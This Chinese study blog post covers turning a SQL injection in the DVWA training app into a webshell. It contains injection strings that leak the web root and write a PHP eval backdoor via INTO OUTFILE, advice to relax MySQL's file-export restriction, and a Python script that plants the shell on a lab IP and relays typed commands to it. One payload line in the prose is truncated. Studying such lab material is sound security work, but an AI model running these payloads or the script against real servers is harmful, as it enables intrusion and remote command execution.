DVWA從註入到GETSHELL
好好過你的生活,不要老是忙著告訴別人你在幹嘛。
最近在復習學過的東西,自己就重新搭了個dvwa來學習新思路,寫一些簡單的腳本來練習寫代碼的能力。
眾所周知SQL註入的危害是相當大的,對於每個老司機來說,如果發現註入點並可以利用的話,除了脫褲當然是猜解出管理員的用戶名密碼,後臺登陸上傳webshell了,雖然這些過程並不一定一路通順,只是一般的流程,中途會遇到各種各樣的問題,這些以後再說,當我這個菜比都學會了在分享出來吧。
今天我們說說利用sql註入漏洞寫入webshell。當我們發現了註入漏洞,但是卻找不到後臺,該怎麽辦呢,如果數據庫管理員權限比較大的話,我們可以通過sql註入向網站寫入shell。
寫入webshell的前提條件:
1.select into outfile方法可用(允許導出文件)
2.我們需要知道網站所在的絕對路徑
3.我們有足夠的權限
首先我們確定了註入點,接下來就是爆一下網站的絕對路徑:
在輸入框中輸入,1‘ union select ‘x‘,‘x‘ into outfile ‘xx‘ -- 利用錯誤的sql語句,使數據庫報錯並返回絕對路徑
現在已經獲得了網站的絕對路徑,接下來就是利用sql註入寫shell了,在輸入框中插入 1‘ union select "<?php @eval($_GET[‘cmd‘])?>","hello admin" into outfile ‘C:\\
當我們輸入 select ‘xx‘ into outfile ‘xxxx/xx/xx‘ -- 時 可能會遇到一下情況:
解決辦法:找到my.ini文件 在最後一行加上一句 secure_file_prv="/"重啟mysql即可。
============================================================附上自己寫的自動化辣雞代碼=========================================================================
# -*- utf-8 -*- import requests import re headers = { ‘Accept‘:‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8‘, ‘Accept-Encoding‘:‘gzip, deflate‘, ‘Accept-Language‘:‘zh-CN,zh;q=0.8‘, ‘Cache-Control‘:‘max-age=0‘, ‘Connection‘:‘keep-alive‘, ‘Cookie‘:‘security=low; PHPSESSID=pie6uqttjqtnadq1b5dp8640u1‘, ‘Host‘:‘192.168.86.129‘, ‘Referer‘:‘http://192.168.86.129/dvwa/security.php‘, ‘Upgrade-Insecure-Requests‘:‘1‘, ‘User-Agent‘:‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36‘ } url = raw_input(‘url:‘) print ‘=‘*15,u‘大爺稍等‘,‘=‘*15 payload = ‘%27+union+select+"<%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3F>"%2C"hello+admin"+into+outfile+%27C%3A%5C%5CphpStudy%5C%5CPHPTutorial%5C%5CWWW%5C%5Cdvwa%5C%5Chello.php%27+--+&Submit=Submit#‘ url1 = requests.get(url+payload,headers=headers) url2 = ‘http://192.168.86.129/dvwa/hello.php‘ url3 = requests.get(url2,headers=headers) url4 = re.findall(‘<body>(.*?)</body>‘,url3.text) if ‘hello‘ in url3.text: print u‘webshell已寫入,路徑為:http://192.168.86.129/dvwa/hello.php‘ else: print u‘寫入失敗‘ print u‘大爺您請便!‘ url5 = ‘http://192.168.86.129/dvwa/hello.php?cmd=‘ url6 = raw_input() url7 = requests.get(url5+url6,headers=headers) url8 = re.findall(‘<body>(.*?)</body>‘,url7.content) print url7.content
以此記錄自己學過的知識,以防忘記,每天進步一點,共勉。
DVWA從註入到GETSHELL